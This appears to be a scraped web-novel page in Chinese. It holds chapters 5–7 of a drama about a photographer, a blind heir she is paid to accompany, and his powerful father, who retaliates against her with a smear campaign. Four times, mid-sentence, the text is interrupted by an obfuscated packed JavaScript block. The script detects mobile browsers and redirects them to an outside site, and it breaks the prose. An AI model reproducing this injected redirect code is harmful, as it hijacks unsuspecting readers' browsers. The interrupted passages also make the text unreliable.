天色暗得很快,远处的山峦只剩下模糊的剪影。风吹过林子,发出沙沙的响声,衬得周围更安静了,只有他们两人的脚步声和呼吸声。 不知走了多久,大概也就二十分钟,感觉却像过了半个世纪,总算看到了酒店的大门。 前台站着一个年轻姑娘,穿着笔挺的制服,微笑道:“您好,请问是办理入住吗?” “对,还有房间吗?”孟希贤赶紧问,一边把金司承往旁边休息区的沙发边带。 “稍等,我帮您查一下”,前台看向电脑屏幕,手指在键盘上噼里啪啦敲了几下。孟希贤站在桌前等着,心里祈祷着千万别没房。 可真是怕什么就来什么,前台抬起头,脸上带着点为难:“真是不好意思,今天下午来了好几个旅行团,房间都住满了。” 孟希贤不死心地追问:“一间都没有了?” 前台姑娘无奈地摇头,“真没有了,散客房下午就订完了,剩下的都给旅行团包了。要不您看看其他酒店?” 她说完自己也觉得这话多余,这山顶上就这么一家像样的酒店。 孟希贤的心瞬间沉了下去,脑袋嗡嗡的。她下意识地回头看了眼金司承。他坐在沙发里,侧着头,似乎也在听着这边的动静。 就在这时,前台接了个电话,孟希贤隐约听到她问了句“旅行团那边临时多出来一间?” 待前台一挂电话,孟希贤立刻问:“是不是有房?我们要!” —————————— 孟希贤“抢”下来的房,在二楼尽头,里面是标准的经济型双床房配置。 她扶着金司承走到靠窗的床边,“你坐这歇会儿吧。” 金司承没有坐,反而有点难以启齿地开口,“那个……洗手间在哪?” 孟希贤愣了一下,随即反应过来。也是,一路折腾,他肯定需要解决一下。 她赶紧去扶他:“这边,我带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231049|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你过去。” 金司承却像是被烫到一样,手肘往后缩了一下,避开了她的触碰。 他脸上掠过不自然的神色,声音也更硬了:“你指个方向就行,我自己能去。” 见他努力维持着那点可怜的自尊,孟希贤有点尴尬地收回手,“你现在往右边走,几步路,门是关着的。” 金司承点点头,努力分辨着方向,然后伸出双手,慢慢地朝着他认为的洗手间位置挪过去。 折腾了好一会,他终于成功反手关上了门。 孟希贤站在原地,听着里面的声音,心里五味杂陈。 又是好一会,金司承摸索着门框走出来。 他应该在里面洗了把脸,额前的碎发有些湿漉漉地贴在皮肤上。他站在洗手间门口,没有立刻走回来,脸上带着点茫然,似乎在辨认方位。 孟希贤看着他无措的样子,过去抽了两张纸巾递给他,“脸上有水,擦擦。” 金司承接过纸巾,默默地擦着水珠。 孟希贤想减少金司承的心理负担,所以觉得自己有必要再讲清楚一点。她告诉他:“你不用不好意思,我收了你的钱,肯定得把你服务好。你以后有什么需要就直接说,别憋着,我在这儿呢。” 金司承却在听到“收钱”“服务”那几个词时,停下了擦脸的动作。 他朝着孟希贤声音的方向,哼了一声,又开始新一轮的嘲讽模式:“钱钱钱,你一天到晚就会提钱。你缺钱缺到这种地步了?愿意为一个废物伏低做小,随叫随到?陪吃陪玩陪蹦极,现在还得陪过夜?哈,真敬业!” 说着说着,他已经分不清是愤怒更多还是自厌更多:“也对,像我这种人,除了有点臭钱,还有什么价值?一个瞎子,连路都走不了,厕所都找不到,连累别人被困在这鬼地方……哈,花钱买服务是吧?买得好,买得值,你……” “够了!”突如其来的喝斥打断了金司承喋喋不休的话语。声音之大,连孟希贤自己都吓了一跳。 金司承脸上的刻薄和疯狂,也凝固在那里,取而代之的是纯粹的愕然。 孟希贤瞪着他,只觉得心口堵得发疼。她深吸一口气,努力平复着翻腾的情绪,“金司承,你别老是这样说自己。” 金司承脸上的茫然更深了。他迟疑地开口,“你怎么知道我的名字?” 孟希贤默了默,决定不提高中的事。她随便找了个借口,“刚才在高铁站买票,你把身份证给我了。” 顿了顿,她又半真半假地补充道:“公平起见,我也告诉你我的名字。我叫孟希贤,之所以跟着你,是因为我家里人病了,需要钱。” 金司承脸上的疑惑散去了一些,他沉默了一会,重新开口:“我刚才态度不好,说话冲了点,对不住了。” 孟希贤听着他生硬的道歉,只是淡淡道:“没关系。” 说完这三个字,她就不再看他,也没再试图找别的话题。 金司承有点察觉到了这片沉默的不同寻常,但他以为只是刚才冲突后的尴尬余韵。 他摸索着,朝着大概是床的方向挪动脚步。 孟希贤则站在窗边,盯着外面那片虚无的黑,喉咙里有点发紧。 她默默地对自己重复了一遍“没关系”—— 他果真不记得她了,但也确实没关系,两人本就是陌生人。 5. 第 5 章 缆车挂在钢索上,慢悠悠地往下滑。 东边天空的颜色渐渐变了,太阳从山脊线后面跳了出来,光线铺满了整个车厢。 金司承似乎不太适应这突然的光亮。他偏了偏脑袋,眼皮也颤了几下。 孟希贤一直看着他这边,有点好奇地开口:“金司承,其实你不是完全看不见的对吧?这光这么强,你都眯眼睛了。” 金司承像是没听见,脸还是一动不动朝着窗外。只有他那眯着的眼皮,又微不可察地跳了一下。 孟希贤等了几秒钟,没等到回答。她也没再看他,眼睛转向了窗外。 这时候的阳光已经铺满了整个山谷,雾气散得差不多了,树叶上的水珠被太阳照着,一闪一闪地亮。 她不由地发出感叹:“这世界多美啊!昨天和今天风景两个样。” 顿了顿,她又补充道:“我的意思是,如果你能感觉到光,那就是眼睛还有反应。要是你肯好好配合医生,听医生的话该治就治,别老自己一个人到处乱跑……那你这眼睛,还是有希望的吧?总能恢复一点?” 话音刚落,金司承的脸就转了过来。 虽然他的眼睛还是没什么神采,但表情很难看,像是被人戳到了最痛的地方。 孟希贤见他这副样子,识趣地结束了这个话题。 走出缆车,早上山里的空气凉丝丝的,吸进去挺舒服。 远远地能听到人声,还有汽车的喇叭声,景区大门快到了。路两边开始出现一些小摊子,卖水的,卖茶叶蛋的,卖烤肠的,还有卖竹子做的小玩具的。 孟希贤的脚步慢了下来,她带着金司承拐向了路边一片稍微宽敞点的空地,那儿村民更多,摊子也多,有点像山里的集市。 在几个卖旅游纪念品的大摊子后面,支着一个小小的水果摊,就一张破旧的木桌子,上面盖着一块洗得发白的蓝布。 蓝布上摆着几堆水果:苹果个头不大,有些表皮坑坑洼洼的;梨子看起来水灵点,但也放了有些时候;还有几串青提子,看起来不太甜的样子。 水果摊旁边,坐着一个老奶奶。她年纪很大了,全白的头发稀稀疏疏地,在脑后挽了个髻子。她穿着一件旧布褂子,脸上皱纹很深,驼着背坐在一个小板凳上。 最让人看着难受的,是老奶奶的背上,还用带花的布背带绑着一个几个月大的小孩。小孩睡着了,小脑袋耷拉在她的肩膀上。而挨着桌子腿儿,还站着一个小姑娘。她大概五六岁,穿着一件不太合身的红花褂子,脸蛋脏兮兮的,头发也乱蓬蓬地扎着两个小辫儿,怯生生地看着来来往往的人。 孟希贤昨天上山路过这里时,就注意到这个摊子了。 现在,她停在了水果摊前,凑近那个小姑娘,轻声道:“小妹妹,你在这儿干什么呀?” 小姑娘没说话,只是把小身子往桌子后面又缩了缩,抬起眼睛飞快地看了眼孟希贤和金司承,又赶紧低下头。 老奶奶听到了声音,慢吞吞地抬起头。 她的眼睛浑浊,带着浓重的乡音开口:“买水果啊?” “嗯,看看”,孟希贤应了一声,目光扫过桌子上的水果。她拿起一个梨掂了掂,“梨怎么卖?” 老奶奶说,“三块一斤。” 孟希贤又问了苹果和提子的价钱。老奶奶都报了价,价钱比其他摊子都要便宜一些。 这时,旁边传来一把又尖又利的声音,“喂,我说你,聋了还是瞎了?” 那是卖旅游帽子和披肩的大摊摊主。她是个五十多岁的大妈,烫着卷发,穿着花衬衫,嗓门特别洪亮。 她正叉着腰,指着老奶奶这边骂,“跟你说了多少次了?让你挪开点挪开点,你这破桌子腿都伸过线了,挡着我家客人了知道不?” 老奶奶被这突如其来的责骂吓了一跳,眼里满是不知所措。她的声音太小了,像蚊子哼哼,“俺……俺没……” “没个屁!”大妈更来劲了,往前走了两步,“你带着个奶娃子,还有个脏丫头片子,在这儿杵着多丧气。反正一天下来也赚不到两块钱,赶紧搬走,听见没?” 孟希贤看着眼前这一幕,眉头不由地皱了起来。 但是她没有选择和大妈争吵,而是拉着金司承站到老奶奶旁边,嘱咐道:“帮个忙,就在这站一会。” 金司承很不解,“干什么?” 孟希贤拍了拍他的胳膊,“你这张脸,搁这儿就是活招牌。帮老奶奶卖水果,也算做做好事。你站着别动就行,不费劲吧?” 金司承想拒绝,但话还没出口,就听到老奶奶的声音在旁边响起,“哎呀年轻人,你两真是好人,谢谢谢谢。” 他只得把原来的话咽了回去,侧着头,努力分辨周围的声音。 “奶奶,苹果怎么卖?”一个年轻女孩的声音响起来,就在他面前不远处。 老奶奶介绍着,又有一个女孩的声音插了进来,“帅哥,你也买水果吗?” 这明显是在问金司承,他的脸瞬间绷紧了,有种被当成了猴子的感觉。 老奶奶有点不好意思,赶紧解释,“他是帮忙的。” “哇,这么帅还这么有爱心啊!”第一个女孩的声音带着赞叹。紧接着,金司承听到了手机拍照的快门声,还有两个女孩压低的嬉笑声。 他默默地攥紧了拳头——把他当成什么了?动物园里的稀有动物?还是供她们取乐消遣的玩物? 这时,女孩的声音又响起来:“给我称两斤苹果吧奶奶。” 然后是塑料袋的窸窣声和电子秤报数的声音,老奶奶也充满了感激:“好哩好哩,七块六,收你七块”, 接着又是几个声音,有男有女,大多都是年轻的,询问水果价格。 只是几乎每个人都会顺带问一句:“咦,这位小哥是?” 一个带着小孩的妇女声音响起,“奶奶,今天生意真好呀!这小伙子往这儿一站,人气都旺了!” 老奶奶的声音乐呵呵的,“是啊是啊,多亏了这姑娘和小伙。今天这果子卖得可快了,只剩一半喽!” 她转向金司承,真诚道:“小伙子,谢谢你啊!” 这句感谢,像一颗小石子,撞了一下金司承坚硬的壳。 他愣了一下,那股快要冲破头顶的不爽,似乎被人戳了个小孔,泄掉了一点气。 他大概明白孟希贤的意思了。 她是想让他知道,自己还不是个彻头彻尾的废物,还能有点用。 他低不可闻地“嗯”了一声,算是回应了老人家的感谢。 嘈杂声中,他忽然意识到,好像有段时间没听到孟希贤的声音了。 他侧耳仔细听了听,周围是各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231050|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨价还价和游客交谈,唯独没有孟希贤的声线。 “孟希贤?”他试着叫了一声。 没人回应。 “孟希贤?”他又提高了一点音量,朝着刚才她大概站着的方向。 旁边响起老奶奶的声音,“小伙子,你喊那姑娘啊?她说去买点东西,刚走开一会儿。应该很快回来的,你在这儿等等。” 金司承追问道:“她去哪买了?” “哎呀,这我可不知道哇”,老奶奶忙着给人称水果,“她就说去买东西,然后往那边走了。” 金司承眼前只有一片混乱的光影,完全分辨不出老奶奶指的“那边”是哪里。 时间一分一秒过去,金司承像个木桩一样杵在老奶奶的水果摊旁边。游客一波一波地来,他能清楚地听到那些窃窃私语。 “哇,真的好帅啊,就是眼睛……” “嘘……小声点,可惜了……” “是在做义工吗?真有爱心……” “这种地方也有这种帅哥,嘻嘻……” 每一次议论,都像小虫子钻进金司承的耳朵,咬噬着他刚刚因为老奶奶感谢而平息一点的情绪。 孟希贤还没回来。五分钟?十分钟?金司承看不见手表,对时间的流逝只有模糊的恐慌感。 他渐渐焦躁起来。 他开始想,孟希贤是不是故意的?把他扔在这儿,看他像个傻子一样被人围观?是因为昨天山顶酒店的事?还是因为之前在医院他对她的态度?或者说,她拿了钱,人就不见了? 一股被遗弃和戏耍的怒火窜了上来,烧毁了金司承心里松动的缝隙。他再也待不下去了。 “孟希贤!”他又吼了一声,声音带着明显的怒意。 周围有短暂的安静,似乎被他这突然的喊声吓了一跳。 老奶奶赶忙说:“哎小伙子,别着急,再等等,姑娘肯定快回来了。” “等个屁!”金司承彻底火了。 他抽出盲杖,用力往地上一戳,不管不顾地就要往前走,“我去找她。” “哎,小伙子,慢点!那边……”老奶奶焦急的声音传来。 可是晚了,金司承莽撞地走了两步,盲杖似乎杵到了什么东西。 紧接着,他的耳边就炸开了一个女高音:“哎哟喂,我的娘诶!你个瞎子往哪儿走呢?” 金司承还没反应过来,只觉得手腕被一股蛮力狠狠拉扯了一下,整个人不由自主地趔趄着退了两步,差点摔倒。 他好不容易稳住身形,朝着声音的来源方向厉声质问:“你干什么?” “我干什么?”那尖锐的女声正是来自刚才责怪老奶奶的大妈。 本来她看着水果摊前人来人往,自家门可罗雀,气就不知道往哪里撒,现在可好,金司承撞上来了,她趁机咆哮道:“我这可是正宗的羊绒披肩,都是压箱底的货。让你这一下子全给我杵地上了,这还怎么卖啊?你个挨千刀的瞎子,眼瞎心也瞎啊!赔钱,你必须赔钱!” 金司承只觉得一股热血冲上头顶,耳朵里嗡嗡作响。 那一声声“瞎子”像刀子一样扎在他心上,周围所有的议论声也仿佛放大了无数倍,全都钻进他耳朵里,汇成一片嘲笑和指责的海洋。 他像一头困兽,握着盲杖的手指捏得死紧,胸膛剧烈地起伏着。 6. 第 6 章 高铁减速滑行,停靠在酌州站的站台。 孟希贤背上摄影包,很自然地牵住金司承的手,“这边走,人有点多。” 金司承顺从地跟着她,穿过站台通道,到了出站口。 孟希贤看着人头攒动的车站广场,出租车排着长龙,私家车接人的喇叭声此起彼伏。 她转向金司承,问:“你想回哪儿,医院还是回家?” “我……”金司承刚吐出一个字,一辆黑色的保姆车,已经悄无声息地滑过来,停在了几步远的路边。 车门打开,两个身材健硕的男人下了车,径直朝他们走来。 一个大块头对着金司承微微欠身,声音刻板而恭敬,“金先生,我们来接您回家。” 金司承的脸一下子沉了下来,不满道:“谁让你来的?” 另一个保镖不动声色地站到了金司承的另一侧,形成一种无形的包围,“是金总的吩咐,他很担心您,请您上车。” “担心?”金司承从鼻子里哼了一声,“他是担心我这个瞎子在外面给他丢人吧?” 保镖面无表情,大概已经习惯了雇主家的少爷脾气。 他伸手去扶金司承的胳膊,“金先生,请您理解。外面冷,先上车吧。” 金司承猛地一抬手,打掉了保镖的触碰,他摸索着,试图自己绕过保镖去开车门,“我自己能走!” 孟希贤站在旁边,看着金司承身上那股拒人千里之外的刺又竖了起来。 她知道他不想回去,便上前一步,“金司承,你……” 金司承却厌烦地打断她剩余的话,“闭嘴!我玩够了,现在要回家,你不要再跟着我!” 孟希贤被他这突如其来的一吼给吼住了。 她原本以为经过两天的相处,两人至少有了一些默契。她不明白自己又做错了什么,只能茫然又委屈地看着保镖利落地关上车门,隔绝了内外。 —————————— 孟希贤回到出租屋,从摄影包里取出相机。她拔下存储卡,拿出读卡器拷贝文件。 等待的间隙,她起身倒了杯热水。热水滑过干涩的喉咙,带来微不足道的暖意。 她靠在桌边,看着窗外,刚才车站广场的一幕又不受控制地钻进脑子里。 她烦躁地甩甩头,试图将这些画面赶出去。她告诉自己,金司承有他的世界,自己不过是误入其中的一个不重要的小插曲,所以不值得再为这些事情费神。 她拉开椅子重新坐下,把注意力强行拽回电脑屏幕上。 文件夹里有几百张照片,她从头到尾浏览了一遍,心里大致有了底。 她新建了一个Word文档,敲下了《界限之下》的标题。 【这组照片试图捕捉一种被遮蔽的“看见”。 当我们谈论普通人与残障者的界限时,我们往往预设了一种健全的视角,一种自上而下的俯视。 所以,我通过追随一位失明者的足迹,试图理解他所感知的世界轮廓,包括模糊的光影、坚实的触感、声音的方向、温度的变化。 这些照片并非为了展示残缺,而是表达一种存在的状态。 记录显示,即使是视力受损的生活,也能蕴藏着丰富的体验:山巅寒风的触感,指尖触碰水果表皮的不同纹理,陌生人道谢带来的暖意,黑暗中一缕确认陪伴的荧光…… 但是,我们在关爱残障人士的同时,也要尊重他们。 尊重,不是源于廉价的同情,或居高临下的关爱。 打破界限,不在于我们为他们“做”了多少,而在于我们是否真正“看见”了他们本身的完整,并学会后退一步,给予平等的空间。 消除那道墙,需要从放下我们心中那盏名为“怜悯”的探照灯开始。】 敲完主题阐释,孟希贤又点开图片文件夹,挑了几张有代表性的照片。 她点开一张蹦极台边缘的背影图,用图像处理软件放大金司承的背影。她调整着曲线、色阶,让模糊的细节更清晰一些,但避开了可能会暴露他身份的局部特征。 其余的照片如法炮制,处理完后她又检查了一遍,确保没一张能认出金司承的正脸来。 余小冰收到孟希贤打包发过来的照片时,明显很满意。她甚至过了半个小时,再度给孟希贤打来电话,让其下周一就去社里报道。 正式上班当天,孟希贤特意起了个大早,换上新买的职业服装,化好淡妆就往《当代探索》杂志社赶。 杂志社在酌州城北的写字楼六层,上班高峰期的电梯要等很长时间,孟希贤索性走了楼梯。 到了编辑部,只来了三三两两的同事,办公区的格子间一排排的,桌面堆满了文件和样刊,角落里有台咖啡机嗡嗡响着。 孟希贤正琢磨着第一天上班该干啥,突然背后有人喊她名字。 “希贤?来得可真够早的哦”,余小冰拎着个大公文包,脸上挂着笑,但那笑看着有点僵。 她推了推鼻梁上的眼镜,“正好,你跟我来办公室一下,咱们聊聊。” 孟希贤跟着余小冰往办公室走。余小冰把包往桌上一搁,招呼她坐下。 余小冰自己也坐,她两手叠在桌子上,指头不安地搓着,“希贤啊,你那个照片拍得真不错,编辑部大伙儿看了都说,很能打动人……但是对不住了,我们杂志社不能录用你。” 孟希贤整个人呆住了,几秒钟才挤出句话:“为啥呀主编,您刚还说照片好呢!” 余小冰摆摆手,脸色为难,“不是照片的问题,真不是。是你这人,杂志社不能用。” 孟希贤急了,身子往前倾,“主编,您得给我个明白话吧?我今天都来上班了,您突然说不用我,这算啥事啊?” 余小冰沉默了好一会,像是下定了决心,才再度开口:“实话跟你说吧,是有人施压了。金晖集团的董事长金秉诚,点名不让杂志社录用你。他电话直接打到我这儿来的,口气硬得很,说要是敢让你入职,杂志社就别想再拿金晖的广告单子了。” 孟希贤脑子里一片空白,“金秉诚?我根本不认识他呀,他凭啥管我工作的事?” 余小冰摇头,“我也不清楚原因。金董那人,工作很强势,但不会故意为难人,这回不知道抽啥风。希贤,你别冲动,这事儿背后说不准有啥弯弯绕绕的。” 孟希贤蹭地站起来,“不行,我得找他问清楚去,他金秉诚再有钱有势,也不能这么随便断人活路吧?” 她转身就要走,余小冰赶紧喊住她:“等等,你听我说完。金董家最近出大事了,他最看重的大儿子,出了车祸,现在眼睛瞎了。金董这几天火气大得很,见谁都跟吃了枪药似的。你去问他,那不是往枪口上撞吗?我劝你缓缓,等风头过了再说。” 孟希贤一下明白了过来。 酌州金姓不是大姓,又是车祸,又是失明,这说的不就是金司承吗? 原来他是金秉诚的儿子! 那么,金秉诚的施压,八成跟他有关。 搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231051|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好是他回家告状了,嫌她多管闲事。还有可能,是他发现了她的偷拍,觉得丢人了。 她愣在那儿,手心冰凉。 余小冰看她脸色不对,担心地问:“希贤,你没事吧?脸都白了。” 孟希贤回过神,勉强扯出个笑,“没事,主编。谢谢您告诉我这些。” 余小冰叹口气,“别谢我了,这事儿弄得我也憋屈。你是个人才,拍的照片真挺好的,可惜了。回头我给你推荐别的杂志社试试?” 孟希贤胡乱点点头,“嗯,再说吧,我先走了。” 她拉开门,脚步有点飘地走出办公室,一直到了楼梯拐角才停下来。 金司承。她现在脑子里就剩这仨字儿。 她决心问个明白,掏出手机找到金司承的号码,拨了过去。 可试了几次,对面都是提示已经关机。 她重重地吐了口气,决定到重遇金司承的那家医院再碰碰运气。 —————————— 孟希贤走进住院部眼科的楼层,在墙边的大电子屏上,果然发现了金司承的名字,后面还跟着“VIP3房”的字样。 她暗暗松了口气,刻意绕开护士站,低着头就朝病房走。 房间的门没有关紧,棕色的木门虚掩着,留着一道不大不小的缝隙。 孟希贤刚想敲门,却听里面爆出一声男人的吼叫,“你还知道回来?” 孟希贤的心脏突突跳快了两下,她下意识地往旁边挪了一步,把自己缩在走廊墙壁一个凹进去的消防栓柜子旁边。 这里离病房门大概三四米远,角度正好能看到门缝里的景象。 一个穿着深色西装裤的男人背影挡住了大部分视线。他头发有点白了,孟希贤推测这就是金秉诚,刚才也是他在说话。 “不然呢?”另一个声音响起来,带着嘶哑,更多的是疲惫。 孟希贤认得,那是金司承的声音。 他对金秉诚道:“您那帮忠心耿耿的保镖,难道还能让我跑了第二次?我这条命,不是早就在您棋盘上标好价了么?” “闭嘴!”金秉诚的声音里有着翻滚的怒火,“金司承,你给我听清楚!你是我金秉诚的儿子,是金晖集团的太子,就算你现在……就算你暂时需要休养,你也得给我待在棋盘上。花瓶怎么了?花瓶摆在那儿,就有它的价值。只要你还姓金,只要我还喘着这口气,你就算烂,也得给我烂在这棋局里!” 金司承嗤了一声,“您说得对,我就是颗钉子,没用了也得给您钉在门框上,充个门面。行,我烂在这儿。您还有什么吩咐?没有的话,我想一个人待着。” “一个人待着?”金秉诚的声音陡然拔高,“让你一个人待着,好再找个机会溜出去?跟那些不三不四的人混在一起?你真以为我不知道你前段时间跑哪儿去了?” 见金司承不吭声,金秉诚继续道:“叫你做理疗也不听,我说的话你总是当耳边风。你要知道,谁才是真正对你好的人,你以为你认识的那些朋友,会对你掏心掏肺?特别是那个姓孟的女人,你是不是脑袋有问题,怎么会和她走在一起的?” 听到孟希贤的名字,金司承终于忍不住回了句,“她就是在路上看我瞎了,她也瞎热心。我们没什么关系。” 金秉诚的嗤笑更大声了,“金司承啊金司承,你这双眼睛是看不见了,心也跟着瞎了吗?你真以为那个女人无缘无故接近你一个瞎子,是出于什么狗屁好心吗?我告诉你,那都是有目的的!” 7. 第 7 章 孟希贤站在医院走廊,听着金家父子的对话,脑子里那团盘踞多日的乱糟糟毛线团,忽然就消失了。 原来那天金司承被保镖强行带走,他对她的恶言相向,不是在嫌弃她,而是他笨拙的保护。 他是怕自己这块已然被家族钉在耻辱柱上的“垃圾”,再连累她这个无权无势的小记者,被金家的巨鳄撕咬得粉碎。 孟希贤的心头混杂着愤怒和刺痛,她推开了病房的门。 巨大的落地窗外,厚重的云层沉沉地压在都市天际线上,将此时的病房衬得愈发压抑。 金司承坐在病床上,空洞的眼神朝着声音来源的方向,凝固在虚空中的某个点上。 金秉诚则站在床边几步远的位置,眼神在孟希贤闯进来的刹那,异常锐利。 孟希贤无视了金司承惊讶的神情,也忽略了自己急促的心跳,朝着金秉诚开口:“金董事长!” 金秉诚的眉头蹙了一下,眼神转为审视和厌恶。他没有吭声,只是微微扬起下巴,等待着她的下文。那份高高在上的姿态,本身就是无声的压迫。 孟希贤挺直了背脊,清晰地吐出每一个字:“我刚才在门外都听到了,你说的对,我就是冲着钱来的!我等着用钱,很多钱!我妈躺在医院里,每天烧的钱像流水一样。而我是靠拍照糊口的,才刚失业。” “但是,就算我动机不纯在先,我也没有坑害金司承,我们爬山,坐缆车,卖水果……这犯法了吗?” “还有,金司承是二十五岁,不是五岁!他是个大人,就算眼睛有点问题,但他还能想事。他该做什么,不该做什么,他想要什么,不想要什么,他自己没数吗?您是他爸,不是他的狱警,凭什么连他跟谁交朋友都要管?就因为我们出去玩了一趟,您就能让《当代探索》一脚把我踢出来,这到底是谁不讲理?” 金秉诚的脸上看不出喜怒,房间里几秒钟的死寂,长得像一个世纪。 忽然,他轻轻笑了一下,说:“孟小姐,你很天真。你觉得,我金秉诚吃饱了撑的,会专门去打压一个小杂志社的试用摄影师,仅仅因为我儿子和你爬了趟山?” 孟希贤心头一跳。不是因为这件事,那还能因为什么?一股强烈的不安攫住了她。 “你帮助金司承离开酌州,私自去了三皇山,还让他玩那种危险的东西,我当然很生气”,金司承话锋陡然一转,接下来的话更加冰冷,“但真正让我决定不再给你留路走的,是你动了我的棋盘。” 孟希贤皱了眉头,“我听不懂你在说什么。” 金秉诚勾了下嘴角,“三个月前,酌州新闻圈沸沸扬扬的一个热点,是巾帼水泥厂的劣质设备导致工人健康受损。孟小姐,这组报道,是你和张丹丹做的吧?特别是祝酒宴上的当面质问,你让负责人白露当场下不来台,真是勇气可嘉。” 水泥厂、工人的肺部阴影、白露那张惊慌失措又强装镇定的脸、还有她和张丹丹熬夜整理素材的场景……此刻全部涌上了孟希贤的脑海。 原来根子在这里,不是因为金司承,而是她无意间踩了金晖集团的雷。 她问:“所以那个水泥厂,也是你的?” 金秉诚镜片后的眼神锐利如鹰,“它是我名下代理公司控股的项目之一。那批设备的问题,在你们曝光之前,集团内部审计就已经发现了,并且初步锁定了几个层层吃回扣的管理层。我本想不动声色地整顿清理,把损失和对集团声誉的影响降到最低。” “可偏偏在这个节骨眼上,你和你那位同事,像个愣头青一样,拿着你们那点‘专业精神’和‘正义感’,不管不顾地把盖子捅开了。一夜之间,舆论哗然。我的清理计划,被你们彻底打乱,巾帼水泥厂为此付出巨大的代价来公关、赔偿和重塑形象。” “你以为你是谁,是正义的化身,还是规则的制定者?你只看到了几个工人咳嗽,就想着拿你的新闻稿去换名声和钱。你根本不懂什么叫大局,什么叫牵一发而动全身。你莽撞地闯进一局复杂的棋,实际上毁了我在关键时刻的一步。” 孟希贤感觉全身的血液都在倒流。 她确实不知道水泥厂背后是金晖集团,更不知道金秉诚本人已经在着手处理。她只记得那些工人憔悴的脸,和家属担忧的眼神,而她作为一个记者,有着职业的本能。 她咬了咬唇,说:“对不起,我不知道这些,我当时只是想尽快曝光它,好让那些生病的工人早日治疗,也能阻止更多无辜的人卷入其中。” 金秉诚却告诉孟希贤:“我欣赏你的胆魄,但我不会手下留情。每个人都要为自己的所作所为付出代价。” —————————— 三天后,孟希贤切身感受到了金秉诚的能量有多大。 那天晚上,她睡得很早,半夜却被床头柜上的手机嗡嗡震醒了。 她不耐烦地点开手机,通知栏密密麻麻地,全是微博@、评论和私信。 “啥玩意儿?”她嘟囔着坐起身,却在看到微博的瞬间,睡意全被赶跑了。 同城热搜榜第三位是一个刺眼的词条:#职场女恶霸孟希贤#,后面跟着个暗红色的“爆”字。 她心里咯噔一下,点进去看到一条长微博,配了几张截图。 那博主自称“深扒职场”,用煽风点火的语气写着:“《人文之友》资深记者孟希贤,据传后台很硬,她在报社只手遮天,疯狂压榨欺凌实习生。实习生黄静辛辛苦苦跑出来的新闻线索,被她恶意截胡,还反手栽赃黄静做事出格,导致黄静失去转正机会。这种职场毒瘤,必须曝光!” 下面贴的就是孟希贤当初发给陈编辑的报告截图,但只截了她指出黄静违规操作的部分,抹掉了报告里黄静具体干了啥的描述。 另外还有几张微信工作群聊截图,有孟希贤@黄静说“选题方向不对需要重做”的,有她发的“实习生稿件质量把关要更严”的通知,都被恶意解读成她“刁难新人”。 评论区炸开了锅。 【太恶心了,这种人渣怎么还没被开除?】 【有背景就是了不起啊?实习生不是人?】 【黄静妹妹太惨了,职场新人遇到这种老巫婆!】 【人肉她,曝光她,让她社死!】 【@人文之友杂志社,出来管管你们的恶霸员工!】 往下翻,还有更恶毒的。有人直接把她名字和记者证上的照片,甚至她租住的小区名字都发出来了。 她的私信箱里塞满了不堪入目的辱骂: 【贱人去死!】 【欺负实习生爽吗?垃圾!】 【你妈生出你这种玩意儿真是倒了八辈子血霉!】 【小心出门被车撞!】 孟希贤拿着手机,坐在床边,愤怒像开水一样在胸腔里翻滚。但她也知道现在砸手机骂娘没用,她深吸了几口气,强迫自己冷静。 金秉诚那天在医院说的话犹在耳边,这事情大概率与他脱不了关系,但是,谁是杂志社这边的内应呢? 她第一时间想到了黄静。 那是去年的事了。 黄静是大四来实习的学生,因为杂志社和他们学校有签协议,每年都有接收优秀实习生直接入职的名额。于是,黄静当时为了抢独家新闻,用了些非常手段,甚至踩到了法律边缘。 她作为带教记者之一,发现问题后很快上报给了陈编辑,这是她的职责。 最终黄静没能转正,确实很大程度受到了这事的影响。黄静离开那天,看她的眼神,就像想杀了她那样。 可她转念又一想,帖子里的截图是有问题的。 因为完整的报告,只有她和陈编辑,以及人事部那边有权限看到,黄静本人不可能拿到。 更关键的是那几张工作群截图。 其中有一张,是她在一个小范围的核心选题群里发的通知,而黄静根本没有进那个群。 孟希贤很笃定,黄静知道发生过什么事,但这个帖子不是她写的,或者说,她一个人搞不出这么齐全的材料。 那么,是谁在背后搞她呢? 孟希贤脑子飞快地转着,一个名字忽然蹦了出来——张丹丹。 张丹丹是她前同事,也是记者,比她早进报社两年。两人工位连在一起,算得上聊得来的同事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 